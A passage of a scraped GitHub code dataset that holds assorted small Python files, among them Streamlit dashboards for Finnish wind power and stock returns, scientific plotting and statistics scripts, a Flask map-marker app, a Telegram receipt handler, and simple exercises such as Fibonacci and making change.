hinta'])\n\n\nwith tab1:\n # tab1 will include visualization of wind production, capacity and\n # utilization rate during the user selected period.\n wind_df = get_wind_df(start_date, end_date)\n aggregated_wind = aggregate_data(wind_df, aggregation_selection)\n\n # Using chart_container that allows user to look into the data or download it from separate tabs\n with chart_container(aggregated_wind, [\"Kuvaajat 📈\", \"Data 📄\", \"Lataa ðŸ“�\"], [\"CSV\"]):\n # Wind production metrics and graph\n col1, col2, col3 = st.columns(3)\n with col1:\n st.metric(\"Maksimituotanto\", f\"{round(aggregated_wind['Tuulituotanto'].max(), 1)} MW\")\n with col2:\n st.metric(\"Keskimääräinen tuotanto\", f\"{round(aggregated_wind['Tuulituotanto'].mean(), 1)} MW\")\n with col3:\n st.metric(\"Minimituotanto\", f\"{round(aggregated_wind['Tuulituotanto'].min(), 1)} MW\")\n fig = px.scatter(aggregated_wind, x=aggregated_wind.index, y=['Tuulituotanto', 'Kapasiteetti'],\n title=\"Tuulivoimatuotanto ja asennettu kapasiteetti\", trendline='expanding',\n trendline_options=dict(function=\"max\"))\n fig.update_traces(mode='lines')\n fig.data[1].update(dict(name='Tuulivoimatuotannon ennätys', legendgroup=None, showlegend=True,\n visible='legendonly', line_color='#FF4B4B'))\n # Remove trend line for max capacity\n fig.data = fig.data[:-1]\n fig.update_traces(line=dict(width=2.5))\n fig.update_layout(dict(yaxis_title='MW'), legend_title=\"Aikasarja\")\n st.plotly_chart(fig, use_container_width=True)\n\n # Utilization rate metrics and graph\n col1, col2, col3 = st.columns(3)\n with col1:\n st.metric(\"Maksimikäyttöaste\", f\"{aggregated_wind['Käyttöaste'].max()} %\")\n with col2:\n st.metric(\"Keskimääräinen käyttöaste\", f\"{round(aggregated_wind['Käyttöaste'].mean(), 1)} %\")\n with col3:\n st.metric(\"Minimikäyttöaste\", f\"{aggregated_wind['Käyttöaste'].min()} %\")\n\n fig = px.line(aggregated_wind, x=aggregated_wind.index, y=['Käyttöaste'],\n title=\"Tuulivoimatuotannon käyttöaste (eli tuotanto/kapasiteetti)\")\n fig.update_traces(line=dict(width=2.5))\n fig.update_layout(legend_title=\"Aikasarja\", yaxis=dict(title='%', range=[0, 100]))\n st.plotly_chart(fig, use_container_width=True)\n\n\nwith tab2:\n # tab2 could include other visualizations or statistics, TBC\n\n demand_df = get_demand_df(start_date, end_date)\n demand_df['Tuulituotannon osuus kulutuksesta'] = wind_df['Tuulituotanto']/demand_df['Kulutus'] * 100\n aggregated_demand = aggregate_data(demand_df, aggregation_selection)\n # Using chart_container that allows user to look into the data or download it from separate tabs\n with chart_container(aggregated_demand, [\"Kuvaajat 📈\", \"Data ðŸ“��\", \"Lataa ðŸ“�\"], [\"CSV\"]):\n st.subheader(\"Tuulituotannon osuus kulutuksesta\")\n\n # Wind production metrics and graph\n col1, col2, col3 = st.columns(3)\n with col1:\n st.metric(\"Maksimiosuus\", f\"{aggregated_demand['Tuulituotannon osuus kulutuksesta'].max()} %\")\n with col2:\n st.metric(\"Keskimääräinen osuus\", f\"{round(aggregated_demand['Tuulituotannon osuus kulutuksesta'].mean(), 1)} %\")\n with col3:\n st.metric(\"Minimiosuus\", f\"{aggregated_demand['Tuulituotannon osuus kulutuksesta'].min()} %\")\n\n subfig = plotly.subplots.make_subplots(specs=[[{\"secondary_y\": True}]])\n\n fig = px.line(aggregated_demand, x=aggregated_demand.index, y=['Tuulituotannon osuus kulutuksesta'])\n fig2 = px.line(aggregated_demand, x=aggregated_demand.index, y=['Kulutus'])\n fig2.update_traces(yaxis=\"y2\")\n subfig.add_traces(fig.data + fig2.data)\n subfig.layout.xaxis.title = \"Aika\"\n subfig.layout.yaxis.title = \"%\"\n subfig.layout.yaxis2.title = \"MW\"\n subfig.layout.yaxis2.overlaying = \"y\"\n subfig.layout.yaxis2.tickmode = \"sync\"\n subfig.layout.yaxis2.tickformat = \",.2r\"\n subfig.for_each_trace(lambda t: t.update(line=dict(color=t.marker.color)))\n st.plotly_chart(subfig, use_container_width=True)\n\nwith tab3:\n\n price_df = get_price_data(start_date, end_date, wind_df.index)\n st.subheader(\"Tuulituotannon saama hinta valitulla aikavälillä.\")\n st.markdown(\"Tuulituotannolla painotettu hinta jaettuna koko tuulituotannon summalla valitulla aikavälillä.\")\n wind_price_df = wind_df.copy()\n wind_price_df['Hinta'] = price_df.values\n wind_price_df['CP'] = wind_price_df['Hinta'] * wind_price_df['Tuulituotanto']\n col1, col2, col3 = st.columns(3)\n with col1:\n price_avg = price_df.mean()\n st.metric(\"Sähkön keskihinta:\", f\"{round(price_avg, 1)} €/MWh\")\n with col2:\n cp_avg = wind_price_df['CP'].sum()/wind_price_df['Tuulituotanto'].sum()\n st.metric(\"Tuulivoiman saama hinta:\",\n f\"{round(cp_avg, 1)} €/MWh\")\n with col3:\n st.metric(\"Suhde keskihintaan:\", f\"{round(cp_avg/price_avg * 100, 1) } %\")\n #st.dataframe(wind_price_df)\n monthly_averages = wind_price_df[['Tuulituotanto', 'Hinta', 'CP']].resample('M').agg({'Tuulituotanto': np.sum, 'Hinta': np.mean, 'CP': np.sum})\n monthly_averages.index = monthly_averages.index.strftime('%Y-%m')\n monthly_averages['Keskihinta €/MWh'] = round(monthly_averages['Hinta'] , 1)\n monthly_averages['Tuulen saama hinta €/MWh'] = round(monthly_averages['CP'] / monthly_averages['Tuulituotanto'], 1)\n monthly_averages['Suhde (%)'] = round(monthly_averages['Tuulen saama hinta €/MWh']/monthly_averages['Hinta'] * 100, 1)\n st.write(\"Tuulivoiman kuukausittaisen saaman hinnan suhde kuukauden keskihintaan:\")\n subfig = plotly.subplots.make_subplots(specs=[[{\"secondary_y\": True}]])\n fig1 = px.bar(monthly_averages, y=['Keskihinta €/MWh', 'Tuulen saama hinta €/MWh'], barmode='group',\n height=400)\n fig2 = px.line(x=monthly_averages.index, y=monthly_averages['Suhde (%)'])\n fig2.update_traces(line_color='red', line_width=1, legendgroup=None, showlegend=True, name='Suhde (%)')\n fig2.update_traces(yaxis=\"y2\")\n subfig.add_traces(fig1.data + fig2.data)\n subfig.layout.xaxis.title = \"Aika\"\n subfig.layout.yaxis.title = \"€/MWh\"\n subfig.layout.yaxis2.title = \"%\"\n subfig.update_layout(yaxis2=dict(range=[0,100]))\n subfig.layout.yaxis2.overlaying = \"y\"\n subfig.layout.yaxis2.tickmode = \"sync\"\n subfig.layout.yaxis2.tickformat = \",.1f\"\n st.plotly_chart(subfig, use_container_width=True)\n\n #st.plotly_chart(fig, use_container_width=True)\n","repo_name":"pekkon/EnergiaDataApp","sub_path":"Tuulivoima.py","file_name":"Tuulivoima.py","file_ext":"py","file_size_in_byte":9056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19443833211","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\ndef replace_colon(s, replacewith=\"__\"):\n \"\"\"replace the colon with something\"\"\"\n return s.replace(\":\", replacewith)\n\n\ndef clean_edges(arg):\n if isinstance(arg, str): # Python 3: isinstance(arg, str)\n return replace_colon(arg)\n try:\n return tuple(clean_edges(x) for x in arg)\n except TypeError: # catch when for loop fails\n return replace_colon(arg) # not a sequence so just return repr\n\n # start pytests +++++++++++++++++++++++\n\n\ndef test_replace_colon():\n \"\"\"py.test for replace_colon\"\"\"\n data = ((\"zone:aap\", \"@\", \"zone@aap\"),) # s, r, replaced\n for s, r, replaced in data:\n result = replace_colon(s, r)\n assert result == replaced\n\n\ndef test_cleanedges():\n \"\"\"py.test for cleanedges\"\"\"\n data = (\n (\n [(\"a:a\", \"a\"), ((\"a\", \"a\"), \"a:a\"), (\"a:a\", (\"a\", \"a\"))],\n ((\"a__a\", \"a\"), ((\"a\", \"a\"), \"a__a\"), (\"a__a\", (\"a\", \"a\"))),\n ),\n # edg, clean_edg\n )\n for edg, clean_edg in data:\n result = clean_edges(edg)\n assert result == clean_edg\n\n\n# end pytests +++++++++++++++++++++++\n","repo_name":"santoshphilip/eppy","sub_path":"eppy/useful_scripts/change_edges.py","file_name":"change_edges.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"78"} +{"seq_id":"30459498748","text":"'''\n4. A série de Fibonacci é formada pela seqüência 1,1,2,3,5,8,13,21,34,55,... Faça um programa\ncapaz de gerar a série até o n-ésimo termo.\n'''\n\nn = int(input('Informe a quantidade de termos da serie: '))\nt1 = 0\nt2 = 1\nprint('{} , {}'.format(t1,t2), end='')\ncont = 3\nwhile(cont <= n):\n t3 = t1 + t2\n\n print(' , {}'.format(t3), end='')\n t1 = t2\n t2 = t3\n cont += 1\n","repo_name":"george-maximo/bict","sub_path":"fundamentos_de_computacao/ex030.py","file_name":"ex030.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4024174866","text":"import platform\nimport subprocess\n\ndef iperf3(host, port = 5201):\n \"\"\"Send a ping packet to the specified host, using the system \"ping\" command.\"\"\"\n args = [\n 'C:\\\\Users\\\\Engah\\\\Desktop\\\\iperf-3.1.3-win64\\\\iperf3.exe'\n ]\n\n platform_os = platform.system().lower()\n\n if platform_os in ('linux', 'darwin', 'windows'):\n args.extend(['-c', host])\n else:\n raise NotImplemented('Unsupported OS: {}'.format(platform_os))\n\n args.append(host)\n\n try:\n myoutput = open('old_results/inlog/windowsIperf.txt', 'w')\n if platform_os == 'windows':\n output = subprocess.run(args, check=True, universal_newlines=True,stdout=myoutput).stdout\n print(output)\n\n # print(output)\n # if output and 'TTL' not in output:\n # return False\n else:\n subprocess.run(args, check=True,stdout=myoutput)\n\n return True\n except (subprocess.CalledProcessError, subprocess.TimeoutExpired):\n return False\n\niperf3('10.79.134.193', port = 5201)","repo_name":"ahmad-hl/NetTraffic_SocialVR","sub_path":"utils/IperfServer_Windows.py","file_name":"IperfServer_Windows.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15356843447","text":"\"\"\" Basic statistical analysis of KL divergence estimators\n\n Provides a few (ducktyped) classes implementing analyses of KL-divergence estimators.\n Each analysis defines two probability distributions to be compared, and produces\n the KL-Divergence estimate along with an error estimate (the central 68% of values in\n `n_resamples=100` resamples of the probability distributions).\n\n\"\"\"\nimport time\nimport numpy as np\nimport logging as log\nfrom collections import namedtuple\n\nfrom exact_divergence import gaussian_divergence\n\nEstimatorStats = namedtuple(\n \"EstimatorStats\", [\"Estimator\", \"Mean\", \"Lower68\", \"Upper68\", \"MSE\", \"Time\"]\n)\n\n\ndef divergence_estimate_analysis(\n estimator, P, Q, sample_size, k, expectation, n_resamples=100\n):\n \"\"\"Estimate the divergence D(P||Q) between samples of size `sample size`\n drawn from the provided probability distributions `P` and `Q`. Returns the\n mean, variance and MSE of `n_resample = 100` sample iterations.\n\n NOTE: For consistency this function re-seeds the numpy RNG to ensure that\n samples are identical between estimators\n\n Args:\n estimator (Callable): The KLD estimator to be tested\n P (Callable): A callback that generates samples of `P`\n Q (Callable): A callback that generates samples of `Q`\n sample_size (int): The number of samples to draw from `P` and `Q`\n k (int): The number of nearest neighbours to use in the estimation\n expectation (float): The true value of the KLD (for computing the MSE)\n n_resamples (int): Number of different samples of `P` and `Q` for computing\n the confidence interval of the estimator.\n \"\"\"\n np.random.seed(0) # Reseed the RNG\n start_time = time.time()\n log.info(\n f\" Running test with {estimator.__name__}: N = {sample_size}, iter = {n_resamples}\"\n )\n divergence_estimates = []\n\n # Repeatedly resample and compute the divergence\n for resample in range(0, n_resamples):\n P_sample = P(sample_size)\n Q_sample = Q(sample_size)\n divergence_estimates.append(estimator(P_sample, Q_sample, k))\n\n # Compute the 68% confidence interval of the estimator\n divergence_estimates = np.sort(divergence_estimates)\n upper_limit = int(np.ceil(n_resamples * 0.84))\n lower_limit = int(np.floor(n_resamples * 0.16))\n\n # Summary statistics of the estimator\n Mean = divergence_estimates.mean()\n Lower = Mean - divergence_estimates[lower_limit]\n Upper = divergence_estimates[upper_limit] - Mean\n MSE = ((divergence_estimates - expectation) ** 2).mean()\n\n return EstimatorStats(\n estimator.__name__, Mean, Lower, Upper, MSE, time.time() - start_time\n )\n\n\nclass self_divergence_estimate_1d:\n \"\"\"Estimate the divergence between two samples of size **N** and dimension\n 1, drawn from the same ~ N(0,1) probability distribution.\"\"\"\n\n name = \"Self-divergence of samples from a 1-dimensional Gaussian\"\n filename = \"self_divergence_1d\"\n title = \"$\\hat{D}_{\\\\mathrm{KL}}(P||P)$, $P \\sim N(0,1)$\"\n expectation = 0\n\n def P(self, N):\n return np.random.multivariate_normal([0], [[1]], N)\n\n def compute(self, estimator, N, k):\n return divergence_estimate_analysis(\n estimator, self.P, self.P, N, k, self.expectation\n )\n\n\nclass self_divergence_estimate_2d:\n \"\"\"Estimate the divergence between two samples of size **N** drawn\n from the same 2D distribution with\n `mean=[0,0]` and `covariance=[[1, 0.1], [0.1, 1]]`.\"\"\"\n\n name = \"Self-divergence of samples from a 2-dimensional Gaussian\"\n filename = \"self_divergence_2d\"\n title = \"$\\hat{D}_{\\\\mathrm{KL}}(P||P)$, $P \\sim N(\\mathbf{0},[[1, 0.1],[0.1, 1]])$\"\n expectation = 0\n\n def P(self, N):\n CovMat = [[1, 0.1], [0.1, 1]]\n return np.random.multivariate_normal([0, 0], CovMat, N)\n\n def compute(self, estimator, N, k):\n return divergence_estimate_analysis(\n estimator, self.P, self.P, N, k, self.expectation\n )\n\n\nclass gaussian_divergence_estimate_1d:\n \"\"\"Estimate the divergence between two samples of size `N` and dimension\n 1. The first drawn from N(0,1), the second from N(2,1).\"\"\"\n\n name = \"Divergence of two 1-dimensional Gaussians\"\n filename = \"gaussian_divergence_1d\"\n title = \"$\\hat{D}_{\\\\mathrm{KL}}(P||Q)$, $P \\sim N(0,1)$, $Q \\sim N(2,1)$\"\n expectation = gaussian_divergence(0, 2, 1, 1)\n\n def P(self, N):\n return np.random.multivariate_normal([0], [[1]], N)\n\n def Q(self, N):\n return np.random.multivariate_normal([2], [[1]], N)\n\n def compute(self, estimator, N, k):\n return divergence_estimate_analysis(\n estimator, self.P, self.Q, N, k, self.expectation\n )\n\n\n# List of implemented tests\nTests = [\n self_divergence_estimate_1d(),\n self_divergence_estimate_2d(),\n gaussian_divergence_estimate_1d(),\n]\n","repo_name":"nhartland/KL-divergence-estimators","sub_path":"src/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"78"} +{"seq_id":"42089092492","text":"class Solution:\n# b s\n# [7,1,5,3,6,4]\n\n# max(profit) = 5\n# update minimum each iteration\n# max(profit) = s - b\n# return profit after loop ends\n def maxProfit(self, arr: List[int]) -> int:\n profit = 0 \n buy = float('inf') \n sell = 0 \n \n for i in range(len(arr)):\n current_price = arr[i]\n buy = min(buy, current_price)\n diff = current_price - buy \n profit = max(profit, diff)\n return profit \n ","repo_name":"turbo6412/Data-Structures-and-Algorithms-Practice","sub_path":"best-time-to-buy-and-sell-stock/best-time-to-buy-and-sell-stock.py","file_name":"best-time-to-buy-and-sell-stock.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27695889720","text":"import streamlit as st\nfrom pandas_datareader import data as wb\nimport datetime\nimport pandas as pd\n\nst.write(\"\"\"\n# Calculating the Annual Simple Return \n\"\"\")\n\noptions = st.multiselect(\n 'Select companies:',\n ['LREN3.SA', 'WEGE3.SA', 'MULT3.SA', 'EGIE3.SA', 'ITSA4.SA', 'MGLU3.SA', 'TRIS3.SA'],\n ['LREN3.SA'])\n\nyear = st.slider('Year:', 1990, 2020)\ndate_sta = datetime.date(year, 1, 1)\ndate_end = datetime.date(year, 12, 31)\nind = pd.DataFrame()\nannual_ret = pd.DataFrame()\n\nif st.button('Find'):\n for v in options:\n ind[v] = wb.DataReader(v, data_source='yahoo', start=date_sta, end=date_end)['Adj Close']\n\n sim_ret = (ind / ind.shift(1)) - 1\n annual_ret['Simple return(%)'] = sim_ret.mean() * 250 * 100\n st.write(annual_ret)\n\n","repo_name":"samantabueno/python_finance","sub_path":"simple_return.py","file_name":"simple_return.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41498115502","text":"#!/usr/bin/python\n\"\"\"\nReader and visual. of harmonic emission from solids, Chacon model \"\"\"\nimport numpy as np\nimport os\nimport sys\nimport shutil\n\n\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nfrom matplotlib.colors import BoundaryNorm\nfrom matplotlib.ticker import MaxNLocator\nfrom matplotlib import ticker\n\nfrom matplotlib.pylab import *\nfrom numpy import arange\nfrom scipy.interpolate import interp2d\n\n\nplt.rc('lines', linewidth=2.5, color='k')\n\n\nset_of_params = sys.argv;\niparam = set_of_params[1]; #mag. flux phase\n\n#################################\nn \t = 0;\nntemp = 7;\nNt \t = 101647#133411;\nNthalf \t = int(Nt/30.);\n\nif iparam=='Trivial':\n f \t = open(\"filestrivial.dat\",\"r\");\nelse:\n f = open(\"filesnontrivial.dat\",\"r\");\n\n\nmyinfo = [];\nphase \t = [];\ndata \t = [];\nIntra_hhgMAP0 = []\nIntra_hhgMAP =np.zeros( (ntemp,Nthalf) )#[];\n\nInter_hhgMAP0 = []\nInter_hhgMAP =np.zeros( (ntemp,Nthalf) )#[];\n\n#################################\nfor line in f:\n myinfo.append(line);\n data.append( np.loadtxt( line.strip() ) );\n phase.append( data[n][0,1] );\n Intra_hhgMAP0.append( data[n][1:Nthalf+1,2] + data[n][1:Nthalf+1,4] );\n Inter_hhgMAP0.append( data[n][1:Nthalf+1,1] + data[n][1:Nthalf+1,3] );\n n+=1;\n print(\"\\nfile = \",line,\" n = \",n);\n\nfor i in range(n):\n Inter_hhgMAP[i,:] = Inter_hhgMAP0[i][:]\n Intra_hhgMAP[i,:] = Intra_hhgMAP0[i][:]\n\nom = data[0][1:Nthalf+1,0];\n\n\nprint( '\\n')\nprint( len(data[0][:,0]), 'omega-max = ', om[-1], ' len( om ) = ' ,len(om));\nprint( phase );\nprint( '\\nNlist = ', n, ' Nthalf = ', Nthalf );\n\n\n\n#################################\n#################################\nwidth = 11;\nhight = width/1.62;\nfig = plt.figure( figsize=(width,hight) );\nax1 = fig.add_axes([0.135, 0.1, 0.887, 0.835]);\nfor axis1 in ['top','bottom','left','right']:\n ax1.spines[axis1].set_linewidth(3.0);\n\nnmin = 1e-18;\nnmax = 5.e-1;\nlevels = MaxNLocator(nbins=28).tick_values( nmin, nmax );\n\ncolorMap0='seismic'###'RdBu_r'#'gnuplot2'#'CMRmap_r'#\"'bwr'#'coolwarm'#'gist_rainbow'# #'PRGn'#'bwr'#'gnuplot2'#'CMRmap_r'#'coolwarm'#\n\ncmap = plt.get_cmap(colorMap0)\n\n\nnorm = BoundaryNorm(levels,ncolors=cmap.N,clip=True );\ne0 = np.array([0.002,0.003,0.004,0.0045,0.005,0.006,0.007]);\n\nX,Y = np.meshgrid( om, e0 );\n\nprint( '\\nshape of X ',X.shape, ' shape of e0 = ', e0.shape)\n\nfer = interp2d(om, e0, np.log10(Inter_hhgMAP), kind='cubic')\nfra = interp2d(om, e0, np.log10(Intra_hhgMAP), kind='cubic')\n\nxnew = np.arange( 0., max(om)+5.e-3, 5.e-3 )\nynew = np.arange( min(e0), max(e0)+.00025, .00025)\n\ndata_er = fer(xnew,ynew)\ndata_ra = fra(xnew,ynew)\nXn, Yn = np.meshgrid(xnew, ynew)\n\n\n#pcolormesh contourf\ncf = plt.pcolormesh( Xn, Yn, np.power(10.,data_ra)+.99e-18,\n norm = LogNorm( vmin=nmin, vmax=nmax ),\n cmap = cmap );\n#cf = plt.pcolormesh( X, Y, data1\n# ,vmin=nmin\n# ,vmax=nmax #,levels=levels\n# ,cmap=cmap );\nxticks0 = np.arange(1,150,4);\nplt.xticks( xticks0 );\n\n\n#plt.xlabel('Harmonic Order', fontsize=21);\n\n\ncb = plt.colorbar( cf, ticks=np.power(10.,np.arange( -18, 1, 4. ) ) );#mappable\ncb.ax.tick_params(labelsize=23)\n\nif iparam=='Trivial':\n plt.text(28, 0.0022, \"Trivial Intra\", fontsize=30, color=[1,1,1])\n plt.text(37.0, 0.00658, \"(c)\", fontsize=30, color=[1,1,1])\n m0=(0.007-0.002)/(32.5-13)\n x=np.arange(1.,34,.01);\n y=m0*(x-13)+0.002\n plt.plot(x,y,color=[0.,0.8,0],lw=3,linestyle='-')\n plt.ylabel(r'$E_0\\,\\, {\\rm (a.u.)}$', fontsize=27);\nelse:\n plt.text(28, 0.0022, \"Topo. Intra\", fontsize=30, color=[1,1,1])\n plt.text(37.0, 0.00658, \"(d)\", fontsize=30, color=[1,1,1])\n m0=(0.007-0.002)/(34-14)\n x=np.arange(1.,38,.01);\n y=m0*(x-14)+0.002\n plt.plot(x,y,color=[0.,0.8,0],lw=3,linestyle='-')\nprint( 'm0 = ', m0)\n#cb.set_tick_params(labelsize=16)\n#plt.xlim([0, 27])\n#fig.colorbar(cax, ticks=np.arange( 1.e-16,1.e0,1.e2 ))\n\n\nplt.tick_params(labelsize=23);\nplt.ylim([min(e0),max(e0)])\nplt.xlim([0, 41])\n\nif iparam=='Trivial':\n fname = 'FigApp2c.png'\nelse:\n fname = 'FigApp2d.png'\nfilename1 = fname;\nfileNamePicture = filename1;\nplt.savefig(fileNamePicture, dpi = 150);\n\n\n####################################\n## Inter --Band contribution ##\n########################\nfig = plt.figure( figsize=(width,hight) );\nax1 = fig.add_axes([0.135, 0.126, 0.887, 0.835])\nfor axis1 in ['top','bottom','left','right']:\n ax1.spines[axis1].set_linewidth(3.0);\n\nnmin = 1e-18;\nnmax = 5.e-1;\nlevels = MaxNLocator(nbins=28).tick_values( nmin, nmax );\ncolorMap0='seismic'\ncmap = plt.get_cmap(colorMap0)\nnorm = BoundaryNorm(levels,ncolors=cmap.N,clip=True );\n\n\ncf = plt.pcolormesh( Xn, Yn, np.power(10.,data_er)+.99e-18,\n norm = LogNorm( vmin=nmin, vmax=nmax ),\n cmap = cmap );\nxticks0 = np.arange(1,150,4);\nplt.xticks( xticks0 );\n\n\ncb = plt.colorbar( cf, ticks=np.power(10.,np.arange( -18, 1, 4. ) ) );#mappable\ncb.ax.tick_params(labelsize=23)\n\nif iparam=='Trivial':\n plt.text(28, 0.0022, \"Trivial Inter\", fontsize=30, color=[1,1,1])\n plt.text(37.0, 0.00658, \"(e)\", fontsize=30, color=[1,1,1])\n m0=(0.007-0.002)/(32.5-13)\n x=np.arange(1.,34,.01);\n y=m0*(x-13)+0.002\n plt.plot(x,y,color=[0.,0.8,0],lw=3,linestyle='-')\n plt.ylabel(r'$E_0\\,\\, {\\rm (a.u.)}$', fontsize=27);\n plt.xlabel(r'${\\rm Harmonic\\,\\,Order}$', fontsize=27);\nelse:\n plt.text(28., 0.0022, \"Topo. Inter\", fontsize=30, color=[1,1,1])\n plt.text(37.0, 0.00658, \"(f)\", fontsize=30, color=[1,1,1])\n m0=(0.007-0.002)/(34-14)\n x=np.arange(1.,38,.01);\n y=m0*(x-14)+0.002\n plt.plot(x,y,color=[0.,0.8,0],lw=3,linestyle='-')\n plt.xlabel(r'${\\rm Harmonic\\,\\,Order}$', fontsize=29);\nprint ('m0 = ', m0)\n\nplt.tick_params(labelsize=23);\nplt.ylim([min(e0),max(e0)])\nplt.xlim([0, 41])\n\nif iparam=='Trivial':\n fname = 'FigApp2e.png'\nelse:\n fname = 'FigApp2f.png'\nfilename1 = fname;\nfileNamePicture = filename1;\nplt.savefig(fileNamePicture, dpi = 150);\n\n\n\n\n\nplt.show()\n\n","repo_name":"ftachacon/NonLinearCircularDichroism","sub_path":"DATA/TopologicalLinearCutOff___FigApp2/HHG_Cut_Off_Full_Data/density_intenisty_plotIntraInter.py","file_name":"density_intenisty_plotIntraInter.py","file_ext":"py","file_size_in_byte":6099,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"1281426649","text":"#TO REMOVE ALL THE OCCURANCES OF ELEMENTS IN LIST\nlist=[1,2,2,3,3,4,4,5,6]\nprint(list)\nn=int(input(\"enter the element to e removed from list\"))\ni=0\nlength=len(list)\nwhile(iload \"\"\"\r\n bot.load_extension(f'cogs.{extension}')\r\n await ctx.send(f\"loaded {extension}\")\r\n print(f\"loaded {extension}\")\r\n\r\n\r\n@bot.command()\r\n@commands.has_permissions(administrator=True)\r\nasync def unload(ctx, extension):\r\n \"\"\"Unloads modules. Use:

    unload \"\"\"\r\n bot.unload_extension(f'cogs.{extension}')\r\n await ctx.send(f\"unloaded {extension}\")\r\n print(f\"unloaded {extension}\")\r\n\r\nfor filename in os.listdir('./cogs'):\r\n if filename.endswith('.py'):\r\n bot.load_extension(f'cogs.{filename[:-3]}')\r\n\r\nbot.run('')\r\n","repo_name":"siren15/.GIFfanybot","sub_path":"giffany.py","file_name":"giffany.py","file_ext":"py","file_size_in_byte":6505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72658224222","text":"\"\"\"\nМодуль с функцией, которая обрабатывает сообщение от пользователя.\n\nПользователь при этом должен отправить текст по шаблону, который он получит из\nQR-кода чека.\n\"\"\"\nimport re\n\nfrom hasta_la_vista_money.bot.tasks.tasks import (\n async_handle_receipt_text_qrcode,\n)\n\n\ndef handle_receipt_text(message, bot, user, account):\n \"\"\"\n Обрабатывает текстовые сообщения, содержащие информацию в QR-коде чека.\n\n Эта функция ожидает получить объект сообщения от пользователя\n Telegram-бота, содержащий строку, соответствующую конкретному шаблону\n для QR-кодов чеков.\n Если шаблон найден, функция использует объект ReceiptApiReceiver\n для получения данных чека и объект ReceiptParser для их обработки.\n Если шаблон не найден, функция отправляет сообщение обратно пользователю,\n указывая на недопустимый текст.\n\n АРГУМЕНТЫ:\n\n message (telegram.MESSAGE): Объект сообщения, содержащий текст,\n отправленный пользователем.\n\n ПРИМЕР:\n\n \"t=20220413T2146&s=63.00&fn=8710000100266677&i=12259&fp=4229365681&n=1\"\n \"\"\"\n input_user = message.text\n\n pattern = (\n r't=[0-9]+T[0-9]+'\n r'&s=[0-9]+.[0-9]+&fn=[0-9]+'\n r'&i=[0-9]+&fp=[0-9]+&n=[0-5]{1}'\n )\n text_pattern = re.match(pattern, input_user)\n\n if text_pattern:\n text_qr_code = input_user\n\n chat_id = message.chat.id\n user_id = user.id\n\n async_handle_receipt_text_qrcode.delay(\n chat_id=chat_id,\n user_id=user_id,\n account=account,\n input_user=text_qr_code,\n )\n else:\n bot.send_message(message.chat.id, 'Недопустимый текст')\n","repo_name":"TurtleOld/hasta-la-vista-money","sub_path":"hasta_la_vista_money/bot/receipt_handler/receipt_parser_text.py","file_name":"receipt_parser_text.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28602405982","text":"#!/usr/bin/env python\n\n\nfrom flask import Flask, render_template, request, jsonify, make_response\n\nimport json\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import func, distinct\nfrom database import Base, Markers\n\napp = Flask(__name__)\napp.secret_key = \"super secret key\"\n\nengine = create_engine(\n 'sqlite:///markers.db',\n connect_args={'check_same_thread': False})\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n\n@app.route('/')\n@app.route('/templates/index/')\ndef showMap():\n '''Return the only one page of the project'''\n\n return render_template(\n 'index.html')\n\n\n@app.route('/templates/index/JSON')\ndef markersJSON():\n '''Return a JSON with all markers saved in the database'''\n markers = session.query(Markers).all()\n markers = [c.serialize for c in markers]\n return jsonify(markers)\n\n\n@app.route('/templates/save_maker/JSON', methods=['POST'])\ndef saveMarkers():\n '''This function save data send from application by post method in the database.'''\n try:\n newItem = Markers(\n title=request.form['title'],\n lat=request.form['lat'],\n infoWindow=request.form['info_window'],\n lng=request.form['lng'],\n # this is necessary beacause boolean values are different between\n # javascript and python\n favorite=True if request.form['favorite'] == 'True' else False)\n session.add(newItem)\n session.commit()\n response = make_response(json.dumps('Data saved successfully'), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n except:\n response = make_response(json.dumps('Invalid state parameter'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\nif __name__ == '__main__':\n\n app.debug = True\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"rbkrebs/udacity_projeto5","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32689826015","text":"from services import money\nfrom services.money import currencies\n\n\ndef main():\n value = input(\"Please enter the amount you'd like to make change for: \")\n print(\"You entered: \" + value)\n money.make_change(value)\n\n for quantity in currencies:\n if currencies[quantity] > 0:\n print(f\"{currencies[ quantity ]} x ${quantity}.\")\n\n\nmain()\n\n","repo_name":"paula-jo/make-change","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73567804382","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import solve_ivp\n\n# Lorenz system equations\ndef lorenz(t, xyz, sigma, rho, beta):\n x, y, z = xyz\n dxdt = sigma * (y - x)\n dydt = x * (rho - z) - y\n 